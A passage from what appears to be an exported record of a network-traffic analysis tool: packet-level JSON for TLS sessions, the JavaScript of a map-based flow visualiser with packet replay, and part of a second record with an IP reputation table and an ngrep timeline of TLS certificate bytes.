HbWFlE?Ch\\u000e'HU`D{E\\t@Tx&):E\\u001a\\u0007U\\u001aB2\\u0014\\u001b\\u0016.+{YOmG%I8N\\u000exj3'\\u001dZ :C$3\\u0001;I\\u0013c|(zf.>4\\u0006XcO`S\\u0010M-PJVA\\u0010,\\nI{4WyX.\\u0001Ix\\u0004P!-c\\rD\\u0010\\u000b2\\\\q7HF3_\\u001e~T=+\\u000603;\\r{uq$Do\\n tqz\\u0000X-K^3k\\u0004Mk[VT\\u0019\\fi\\u001bp)WK~u;\\u001d.$(\\u001bx\\u001c<7K\\u0005\\u0012\\u0005^D[ya\\u0005;\\u0019j\\u0001\\u001e9\\u0013\\u0006\\u0018\\u0004]H\\u0002>G<h{\\u0012mkG 2\\f\\u0000\\u0001i\\u0003\\u0000\\u0018a\\u0004\\u001f\\u0004\\u0013>.a\\u0004m%h5\\u0007Qu`Xc\\u001ca\\bZH\\u001b^\\u0001(\\u0007\\u001a/Vb\\u0001l\\u001d\\u0003j:\\u0000Pm\\nHg\\u001bG<B\\u001ag\\u001a<i@\\b\\u0004\\u0001\\u0000\\tN}_V@\\u0005_cg\\rU\\r\\u0004n\\t\\\\u |1~P\\u000f\\u001b\\u001d\\u000e\\n\\u00023\\u00051\\\"\\u001eN!+\\u00022\\u0002\\u00010\\u001dr\\u0013_^\\rC\\u0000I|O0\\u001c\\u007f\\tB'@O!X\\u0014)r\\f-\\u001aX)#\\byDM}$3 |k2g$i\\u0007\\u001aMV\\u0000k:w]\\\"\\u0005\\u001a!IM2V\\u0003J%NQ%\\bzs\\u0002k\\u000f\\\"B\\u0000*\\u001b\\t\\u0015,\\u000e\\u0000\\u0000\\u0000\"}, {\"packet_number\": 91, \"timestamp\": 1781446970.15892, \"timestamp_iso\": \"2026-06-14T19:52:50.158920\", \"timestamp_human\": \"2026-06-14 19:52:50.158\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"40.98.16.46\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 32794, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 64014, \"tcp_seq\": 4197192545, \"tcp_ack\": 962448559, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 92, \"timestamp\": 1781446970.616856, \"timestamp_iso\": \"2026-06-14T19:52:50.616856\", \"timestamp_human\": \"2026-06-14 19:52:50.616\", \"size\": 481, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\", \"TLS\", \"TLS\", \"TLS\"], \"src_ip\": \"40.98.16.46\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 32795, \"ip_len\": 467, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 64014, \"tcp_seq\": 4197192545, \"tcp_ack\": 962448559, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 32, \"payload_preview\": \"b70a380f7d9ba4a8b5d26bb62abe2971c7a1a94a00a4e6acd7096ec51b9659fa\", \"payload_ascii\": \"\\n8\\u000f}k*)qJ\\u0000\\tn\\u001bY\"}, {\"packet_number\": 95, \"timestamp\": 1781446970.618021, \"timestamp_iso\": \"2026-06-14T19:52:50.618021\", \"timestamp_human\": \"2026-06-14 19:52:50.618\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"40.98.16.46\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 32796, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 64014, \"tcp_seq\": 4197192972, \"tcp_ack\": 962448646, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 97, \"timestamp\": 1781446970.618035, \"timestamp_iso\": \"2026-06-14T19:52:50.618035\", \"timestamp_human\": \"2026-06-14 19:52:50.618\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"40.98.16.46\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 32797, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 64014, \"tcp_seq\": 4197192972, \"tcp_ack\": 962448762, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 99, \"timestamp\": 1781446970.618081, \"timestamp_iso\": \"2026-06-14T19:52:50.618081\", \"timestamp_human\": \"2026-06-14 19:52:50.618\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"40.98.16.46\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 32798, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 64014, \"tcp_seq\": 4197192972, \"tcp_ack\": 962448800, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 100, \"timestamp\": 1781446970.973614, \"timestamp_iso\": \"2026-06-14T19:52:50.973614\", \"timestamp_human\": \"2026-06-14 19:52:50.973\", \"size\": 1127, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\", \"TLS\", \"TLS\", \"TLS\"], \"src_ip\": \"40.98.16.46\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 32799, \"ip_len\": 1113, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 64014, \"tcp_seq\": 4197192972, \"tcp_ack\": 962448800, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 103, \"timestamp\": 1781446970.974331, \"timestamp_iso\": \"2026-06-14T19:52:50.974331\", \"timestamp_human\": \"2026-06-14 19:52:50.974\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"40.98.16.46\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 32800, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 64014, \"tcp_seq\": 4197194045, \"tcp_ack\": 962448864, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 104, \"timestamp\": 1781446971.425031, \"timestamp_iso\": \"2026-06-14T19:52:51.425031\", \"timestamp_human\": \"2026-06-14 19:52:51.425\", \"size\": 713, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"40.98.16.46\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 32801, \"ip_len\": 699, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 64014, \"tcp_seq\": 4197194045, \"tcp_ack\": 962448864, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 107, \"timestamp\": 1781446971.427815, \"timestamp_iso\": \"2026-06-14T19:52:51.427815\", \"timestamp_human\": \"2026-06-14 19:52:51.427\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"40.98.16.46\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 32802, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 64014, \"tcp_seq\": 4197194704, \"tcp_ack\": 962448934, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 108, \"timestamp\": 1781446971.929387, \"timestamp_iso\": \"2026-06-14T19:52:51.929387\", \"timestamp_human\": \"2026-06-14 19:52:51.929\", \"size\": 682, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"40.98.16.46\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 32803, \"ip_len\": 668, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 64014, \"tcp_seq\": 4197194704, \"tcp_ack\": 962448934, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}], \"tcp_flags\": {\"SYN\": 1, \"ACK\": 15, \"PSH\": 7}, \"packet_sizes\": [66, 54, 4102, 2974, 1233, 54, 481, 54, 54, 54, 1127, 54, 713, 54, 682], \"inter_packet_intervals\": [0.00044608116149902344, 0.3455379009246826, 4.0531158447265625e-06, 0.0002899169921875, 0.009400129318237305, 0.45793604850769043, 0.0011649131774902344, 1.4066696166992188e-05, 4.601478576660156e-05, 0.3555328845977783, 0.0007169246673583984, 0.450700044631958, 0.0027840137481689453, 0.5015721321105957], \"connection_type\": \"TCP Connection\", \"threat_level\": \"low\", \"duration\": 2.126145124435425, \"avg_packet_size\": 783.7333333333333, \"packets_per_second\": 7.055021704589939, \"bytes_per_second\": 5529.255677277289, \"min_packet_size\": 54, \"max_packet_size\": 4102, \"median_packet_size\": 66, \"avg_interval\": 0.15186750888824463, \"min_interval\": 4.0531158447265625e-06, \"max_interval\": 0.5015721321105957}];\n        \n        // Unified Timeline Data\n        const allPackets = [];\n        edges.forEach(e => {\n            e.packets.forEach(p => {\n                allPackets.push({\n                    ...p,\n                    source: e.source,\n                    target: e.target,\n                    protocols: p.protocols\n                });\n            });\n        });\n        allPackets.sort((a, b) => a.timestamp - b.timestamp);\n\n        // Map Setup\n        const map = L.map('map', {\n            center: [20, 0],\n            zoom: 2,\n            minZoom: 2,\n            maxBounds: [[-90, -180], [90, 180]],\n            maxBoundsViscosity: 1.0,\n            worldCopyJump: false\n        });\n\n        L.tileLayer('https://{s}.basemaps.cartocdn.com/light_all/{z}/{x}/{y}{r}.png', {\n            attribution: '©OpenStreetMap, ©CartoDB',\n            noWrap: true,\n            bounds: [[-90, -180], [90, 180]]\n        }).addTo(map);\n\n        // Projection Helper for Private IPs\n        function getPos(node) {\n            if (node.is_private) {\n                // Place private nodes in the stylized \"Pvt Zone\" (North Pacific area)\n                // Offset slightly per node to avoid overlap\n                const idx = nodes.filter(n => n.is_private).indexOf(node);\n                const pvtLat = 50 + (idx % 5) * 2;\n                const pvtLon = -160 + Math.floor(idx / 5) * 5;\n                return [pvtLat, pvtLon];\n            }\n            return [node.geo.lat || 0, node.geo.lon || 0];\n        }\n\n        // Initialize positions\n        nodes.forEach(n => {\n            const pos = getPos(n);\n            n.currentLat = pos[0];\n            n.currentLon = pos[1];\n        });\n\n        // D3 Overlay\n        L.svg().addTo(map);\n        const svg = d3.select(map.getPanes().overlayPane).select(\"svg\");\n        const g = svg.append(\"g\").attr(\"class\", \"leaflet-zoom-hide\");\n\n        // Scale node radius by traffic volume\n        const nodeScale = d3.scaleSqrt()\n            .domain([0, d3.max(nodes, d => d.packet_count) || 100])\n            .range([5, 20]);\n\n        const link = g.selectAll(\".link\")\n            .data(edges)\n            .enter().append(\"path\")\n            .attr(\"class\", \"link\")\n            .attr(\"stroke\", e => e.threat_level === 'critical' ? '#ef4444' : '#94a3b8')\n            .attr(\"stroke-width\", 1.5)\n            .on(\"click\", (e, d) => inspectFlow(d));\n\n        const node = g.selectAll(\".node\")\n            .data(nodes)\n            .enter().append(\"circle\")\n            .attr(\"class\", \"node\")\n            .attr(\"r\", d => nodeScale(d.packet_count))\n            .attr(\"fill\", d => d.is_private ? \"#3b82f6\" : \"#10b981\")\n            .attr(\"stroke\", \"#fff\")\n            .attr(\"stroke-width\", 2)\n            .on(\"click\", (e, d) => inspectNode(d));\n\n        node.append(\"title\").text(d => d.ip);\n\n        function updatePositions() {\n            node.attr(\"cx\", d => map.latLngToLayerPoint([d.currentLat, d.currentLon]).x)\n                .attr(\"cy\", d => map.latLngToLayerPoint([d.currentLat, d.currentLon]).y);\n\n            link.attr(\"d\", d => {\n                const s = nodes.find(n => n.id === d.source);\n                const t = nodes.find(n => n.id === d.target);\n                if (!s || !t) return \"\";\n                const sp = map.latLngToLayerPoint([s.currentLat, s.currentLon]);\n                const tp = map.latLngToLayerPoint([t.currentLat, t.currentLon]);\n                return `M${sp.x},${sp.y}L${tp.x},${tp.y}`;\n            });\n        }\n\n        map.on(\"viewreset move\", updatePositions);\n        updatePositions();\n\n        // Stats\n        document.getElementById('stat-nodes').innerText = nodes.length;\n        document.getElementById('stat-edges').innerText = edges.length;\n        document.getElementById('stat-pkts').innerText = allPackets.length;\n\n        // --- Replay Logic ---\n        let replayIdx = 0;\n        let isPlaying = false;\n        let replayTimer = null;\n        const timeline = document.getElementById('timeline');\n        const timeDisplay = document.getElementById('time-display');\n\n        function toggleReplay() {\n            isPlaying = !isPlaying;\n            document.getElementById('play-icon').className = isPlaying ? \"fas fa-pause\" : \"fas fa-play\";\n            if (isPlaying) runReplay();\n            else clearInterval(replayTimer);\n        }\n\n        function runReplay() {\n            clearInterval(replayTimer);\n            replayTimer = setInterval(() => {\n                if (replayIdx >= allPackets.length) {\n                    toggleReplay();\n                    return;\n                }\n                processPacket(allPackets[replayIdx]);\n                replayIdx++;\n                const progress = (replayIdx / allPackets.length) * 100;\n                timeline.value = progress;\n            }, 150);\n        }\n\n        function seekReplay(val) {\n            const targetIdx = Math.floor((val / 100) * (allPackets.length - 1));\n            replayIdx = targetIdx;\n            if (allPackets[replayIdx]) {\n                processPacket(allPackets[replayIdx]);\n            }\n        }\n\n        function processPacket(pkt) {\n            timeDisplay.innerText = pkt.timestamp_human.split(' ')[1];\n            animatePacket(pkt.source, pkt.target);\n            updateLiveInspector(pkt);\n        }\n\n        function animatePacket(srcId, dstId) {\n            const s = nodes.find(n => n.id === srcId);\n            const t = nodes.find(n => n.id === dstId);\n            if (!s || !t) return;\n            \n            const sp = map.latLngToLayerPoint([s.currentLat, s.currentLon]);\n            const tp = map.latLngToLayerPoint([t.currentLat, t.currentLon]);\n\n            const p = g.append(\"circle\")\n                .attr(\"r\", 4)\n                .attr(\"class\", \"packet-particle\")\n                .attr(\"cx\", sp.x)\n                .attr(\"cy\", sp.y);\n\n            p.transition()\n                .duration(800)\n                .ease(d3.easeLinear)\n                .attr(\"cx\", tp.x)\n                .attr(\"cy\", tp.y)\n                .remove();\n        }\n\n        function updateLiveInspector(pkt) {\n            const srcNode = nodes.find(n => n.id === pkt.source);\n            const dstNode = nodes.find(n => n.id === pkt.target);\n            \n            const body = document.getElementById('inspect-body');\n            \n            // Format payload\n            let payloadHtml = \"\";\n            if (pkt.payload_preview) {\n                const hex = pkt.payload_preview.match(/.{1,2}/g).join(' ');\n                payloadHtml = `\n                    <div class=\"sec-title\">Payload (Hex)</div>\n                    <div class=\"hex-dump\" style=\"max-height: 150px; overflow-y: auto; font-size: 0.7rem;\">${hex}</div>\n                `;\n            } else if (pkt.payload_ascii) {\n                payloadHtml = `\n                    <div class=\"sec-title\">Payload (ASCII)</div>\n                    <div class=\"hex-dump\" style=\"max-height: 150px; overflow-y: auto; font-size: 0.7rem;\">${pkt.payload_ascii}</div>\n                `;\n            }\n\n            body.innerHTML = `\n                <div class=\"info-card\" style=\"border-left: 4px solid var(--accent-main)\">\n                    <div class=\"sec-title\">Live Replay Analysis</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Packet ID</span><span class=\"data-value\">#${pkt.packet_number}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Timestamp</span><span class=\"data-value\">${pkt.timestamp_human}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Protocols</span><span class=\"data-value\">${pkt.protocols.join(' → ')}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Size</span><span class=\"data-value\">${pkt.size} Bytes</span></div>\n                </div>\n\n                <div class=\"info-card\">\n                    <div class=\"sec-title\">Source: ${pkt.source}</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Location</span><span class=\"data-value\">${srcNode.geo.city}, ${srcNode.geo.country}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">ISP / ASN</span><span class=\"data-value\">${srcNode.geo.isp} (AS${srcNode.geo.asn})</span></div>\n                </div>\n\n                <div class=\"info-card\">\n                    <div class=\"sec-title\">Destination: ${pkt.target}</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Location</span><span class=\"data-value\">${dstNode.geo.city}, ${dstNode.geo.country}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">ISP / ASN</span><span class=\"data-value\">${dstNode.geo.isp} (AS${dstNode.geo.asn})</span></div>\n                </div>\n\n                ${pkt.tcp_flags_str ? `<div class=\"info-card\"><div class=\"sec-title\">TCP Flags</div><div class=\"data-value\">${pkt.tcp_flags_str}</div></div>` : ''}\n                ${pkt.dns_query ? `<div class=\"info-card\"><div class=\"sec-title\">DNS Query</div><div class=\"data-value\">${pkt.dns_query}</div></div>` : ''}\n\n                <div class=\"info-card\">\n                    ${payloadHtml || '<div class=\"data-label\">No raw payload data</div>'}\n                </div>\n            `;\n        }\n\n        function inspectNode(d) {\n            document.getElementById('inspect-title').innerText = `Node: ${d.ip}`;\n            const body = document.getElementById('inspect-body');\n            body.innerHTML = `\n                <div class=\"info-card\">\n                    <div class=\"sec-title\">Investigation Metadata</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Country</span><span class=\"data-value\">${d.geo.country}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">City</span><span class=\"data-value\">${d.geo.city}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">ISP</span><span class=\"data-value\">${d.geo.isp}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">ASN</span><span class=\"data-value\">${d.geo.asn}</span></div>\n                </div>\n                <div class=\"sec-title\">Traffic Intensity</div>\n                <div class=\"stat-grid\">\n                    <div class=\"stat-box\"><div class=\"stat-v\">${d.packet_count}</div><div class=\"stat-l\">Packets</div></div>\n                    <div class=\"stat-box\"><div class=\"stat-v\">${(d.total_bytes_sent/1024).toFixed(1)}</div><div class=\"stat-l\">KB Sent</div></div>\n                    <div class=\"stat-box\"><div class=\"stat-v\">${(d.total_bytes_received/1024).toFixed(1)}</div><div class=\"stat-l\">KB Recv</div></div>\n                </div>\n                <div class=\"sec-title\" style=\"margin-top:20px;\">Recent Packets</div>\n                ${d.packets.slice(-10).map(p => {\n                    const pStr = JSON.stringify(p).replace(/\"/g, '&quot;');\n                    return `\n                        <div class=\"packet-list-item\" onclick=\"showPacketDetails('${d.ip}', ${pStr})\">\n                            <span>#${p.num} - ${p.direction.toUpperCase()}</span>\n                            <span>${p.size}B</span>\n                        </div>\n                    `;\n                }).join('')}\n            `;\n        }\n\n        function inspectFlow(d) {\n            const s = nodes.find(n => n.id === d.source);\n            const t = nodes.find(n => n.id === d.target);\n            document.getElementById('inspect-title').innerText = `Flow: ${d.source} → ${d.target}`;\n            const body = document.getElementById('inspect-body');\n            body.innerHTML = `\n                <div class=\"info-card\">\n                    <div class=\"sec-title\">Flow Characteristics</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Protocols</span><span class=\"data-value\">${d.protocols.join(', ')}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Total Traffic</span><span class=\"data-value\">${(d.total_bytes / 1024).toFixed(2)} KB</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Threat Level</span><span class=\"data-value\" style=\"color:${d.threat_level === 'low' ? 'var(--accent-success)' : 'var(--accent-danger)'}\">${d.threat_level.toUpperCase()}</span></div>\n                </div>\n                <div class=\"sec-title\">Packet Log</div>\n                ${d.packets.slice(-15).map(p => `\n                    <div class=\"packet-list-item\" style=\"border-left: 3px solid var(--accent-main)\">\n                        <div>\n                            <div style=\"font-weight:700\">#${p.packet_number} [${p.protocols[p.protocols.length-1]}]</div>\n                            <div style=\"font-size:0.75rem; color:var(--text-secondary)\">${p.timestamp_human.split(' ')[1]}</div>\n                        </div>\n                        <div style=\"text-align:right\">\n                            <div>${p.size}B</div>\n                        </div>\n                    </div>\n                `).join('')}\n            `;\n        }\n\n        function showPacketDetails(ip, p) {\n            const body = document.getElementById('inspect-body');\n            document.getElementById('inspect-title').innerText = `Packet Inspection`;\n            document.getElementById('inspect-subtitle').innerText = `IP: ${ip}`;\n            \n            let payloadHtml = \"\";\n            if (p.payload_preview) {\n                const hex = p.payload_preview.match(/.{1,2}/g).join(' ');\n                payloadHtml = `\n                    <div class=\"sec-title\">Payload (Hex)</div>\n                    <div class=\"hex-dump\" style=\"max-height: 200px; overflow-y: auto; font-size: 0.7rem;\">${hex}</div>\n                `;\n            } else if (p.payload_ascii) {\n                payloadHtml = `\n                    <div class=\"sec-title\">Payload (ASCII)</div>\n                    <div class=\"hex-dump\" style=\"max-height: 200px; overflow-y: auto; font-size: 0.7rem;\">${p.payload_ascii}</div>\n                `;\n            }\n\n            body.innerHTML = `\n                <div class=\"info-card\" style=\"border-left: 4px solid var(--accent-main)\">\n                    <div class=\"sec-title\">Packet Details</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Timestamp</span><span class=\"data-value\">${p.timestamp_human}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Protocols</span><span class=\"data-value\">${p.protocols ? p.protocols.join(' → ') : 'N/A'}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Byte Size</span><span class=\"data-value\">${p.size}</span></div>\n                </div>\n\n                ${p.tcp_flags_str ? `<div class=\"info-card\"><div class=\"sec-title\">TCP Control Flags</div><div class=\"data-value\">${p.tcp_flags_str}</div></div>` : ''}\n                ${p.dns_query ? `<div class=\"info-card\"><div class=\"sec-title\">DNS Query Resolve</div><div class=\"data-value\">${p.dns_query}</div></div>` : ''}\n\n                <div class=\"info-card\">\n                    ${payloadHtml || '<div class=\"data-label\">No raw payload data available</div>'}\n                </div>\n                \n                <button class=\"btn\" onclick=\"zoomToWorld()\" style=\"width:100%; margin-top:10px; padding:10px;\">Return to Overview</button>\n            `;\n        }\n\n        function closePacketPanel() {\n            // No longer used as we use the side panel\n        }\n\n        function zoomToWorld() {\n            map.flyTo([20, 0], 2);\n        }\n    </script>\n</body>\n</html>\n"},{"_id":{"$oid":"6a2ebd2eae36b72c92a10939"},"sha256":"30752d23aa8c73b8249316ac4dadf35296e9261959e6d993f15ce43b49914a4b","timestamp":{"$date":"2026-06-14T20:09:42.150Z"},"analysis_successful":true,"csv_reports":{"network_analysis_domains_ips.csv":"name,ip,src,av detection,reputation,malicious,internal/ external\n194.36.32.201,194.36.32.201,HTTP Host,0/70,Neutral,No,External\nhttp://194.36.32.201,194.36.32.201,HTTP URL,0/70,Neutral,No,External\n","forensic_timeline.csv":"timestamp,category,event,details\n0.0,NGrep,input: /tmp/filtered_9n8dre1u.pcap,\"Payload: filter: ((ip || ip6) || (vlan && (ip || ip6)))\nmatch (JIT): .\n####\nT 10.152.152.11:63942 -> 184.30.157.69:443 [AP] #4\n...........j/...O.i...Y.....7}g....\\-..#).c..&.,.+.0./.$.#.(.'.\n...........=.<.5./.\n...b.........assets.adobedtm.com..........\n...............................................#...........\n##\nT 184.30.157.69:443 -> 10.152.152.11:63942 [AP] #6\n....I...E..*.<{...q.?.b...C..7~.0.!DOWNGRD...,.....................#.........................0...0.............vM.u{..? @...0...*.H........0Y1.0...U....US1.0...U.\n..DigiCert Inc1301..U...*DigiCert Global G2 TLS RSA SHA256 2020 CA10...250624000000Z..260725235959Z0h1.0...U....US1.0...U...\nCalifornia1.0...U....San Jose1.0...U.\n.\nAdobe Inc.1.0...U....assets.adobedtm.com0Y0...*.H.=....*.H.=....B..J....9u....o..7...g.?.n...I..[...5F....S..r...1Q.G.sSLQ;..$c...@...=0..90...U.#..0...t...f..7\n##\nT 184.30.157.69:443 -> 10.152.152.11:63942 [AP] #8\n...)7.......0...U..........gK.c.\\.F....r.V.0....U.....0....assets.adobedtm.com..cdn1-staging.adoberesources.net..assets.adoberesources.net.!assets-staging.adoberesources.net..cdn1.adoberesources.net..commerce.adobedtm.com..magento-recs-sdk.adobe.net0>..U. .70503..g.....0)0'..+.........http://www.digicert.com/CPS0...U...........0...U.%..0...+.........+.......0....U.....0..0H.F.D.Bhttp://crl3.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crl0H.F.D.Bhttp://crl4.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crl0....+........{0y0$..+.....0...http://ocsp.digicert.com0Q..+.....0..Ehttp://cacerts.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crt0...U.......0.0..~.\n+.....y......n...j.h.v..m}....w..._......3Ze....s....iw.....Vwm.....G0E.!..........a?z...p.....\"\"_(\\..@..... OL...*V?.....J>.&V..G...D.#b.x...w..1~WE..E..8...A...!Z\"\".....v...R......Vw......H0F.!.......R}..CW.Y....g...k.......{..!...._.7....h..Hg...Sd...y.D.TU8s..u..NC........$&..e..._8..?rg}U7........Vw......F0D. F...9.p..q.$....e........*....Z.. .`..l..._...!.h.,\"\".N.*.7J......,0...*.H..............h(l....._....T>..c.j.p..../..F9.-.k2...@.....Pk....?.Y\n..5m.....,.............-..1.o....L....D.n.(.R..Gz5.,)..m.m........4......0.M1.......++\\.\"\".#.......`Y.=5.}.,..T.EZ.......g..r...'....V.Q...._.<k~....D/.('g7..&xi..!. .+|?&o...Y.k..3=... .....%[.bFo.U.....0...0..............+V..z.P,#..f0...*.H........0a1.0...U....US1.0...U.\n..DigiCert Inc1.0...U....www.digicert.com1 0...U....DigiCert Global Root G20...210330000000Z..310329235959Z0Y1.0...U....US1.0...U.\n..DigiCert Inc1301..U...*DigiCert Global G2 TLS RSA SHA256 2020 CA10..\"\"0...*.H.............0..\n........bO..co..RV.m'{z.V............`A.p....'\n.W8[}.Q.q..jA.[5..{....$0.V...}.....M.......\"\".1\"\".ai.&.x....}f.uD.s....]\n.YC...:..H..k7.c..F..E.}#...Q..Q._.IFT.,.......<...9.i.2...WL.GB|...}..MT.B.....w..H....*...Cp.?vk.LI.$^....F..l..bRBu....^^..a........=...Gi..........0..~0...U.......0.......0...U......t...f..7...)7.......0...U.#..0...N\"\"T ....n..........90...U...........0...U.%..0...+.........+.......0v..+........j0h0$..+.....0...http://ocsp.digicert.com0@..+.....0..4http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0B..U...;0907.5.3.1http://crl3.digicert.com/DigiCertGlobalRootG2.crl0=..U. .6040...`.H...l..0...g....0...g.....0...g.....0...g.....0...*.H...............p.(.i.|t...&{S...e.......ZC..MLV_..... .Y..J..*......J;...o.).0?$....{..,..kv3..UR.Y..............r..._....2u...X.W1~7...fm)..f.m.n..../...\\Vd..}..8S..]Fm\\.'...~....R....7|*..UZ8r.....Ls..75.).i.v...{.....g...Z!....?......Y.#.$*.%L........t..m.......@................0...\n......0.....+.....0......0...0......t...f..7...)7.........20260610120116Z0s0q0I0...+.............[.X....:.i.oH....t...f..7...)7............vM.u{..? @.......20260610114502Z....20260617104502Z0...*.H.............^y.iJ....a..u..X..oK.:,...........iX7..G...).m........{/O~...<.!.u8.......LPn8x............]....W.9..eH...Xw.d...?.\\`....{o......5.m....Tc.h.v.c.....@...Z...2...J..M....l......}A<['0*=B>I.U....Y......h.k..$...c...:.!..f....1y..@..G.H..../Z..c.....N...Q.9. ............A...#.%..D<;0.6....!..}...w........3......L3^..*.h...n.%F...N........G0E. lw.\n`. .r.....i.b5>.....xF.GY.@\\.!..b..L..............%#z.Z['....P..........\n##\nT 10.152.152.11:63942 -> 184.30.157.69:443 [AP] #10\n....F...BA...5h.............f.....}./....^..'.D .s...k$...)4O./U...7.Mv..............(........Y....7c..1V.. ...).b.,\\......t..\n##\nT 184.30.157.69:443 -> 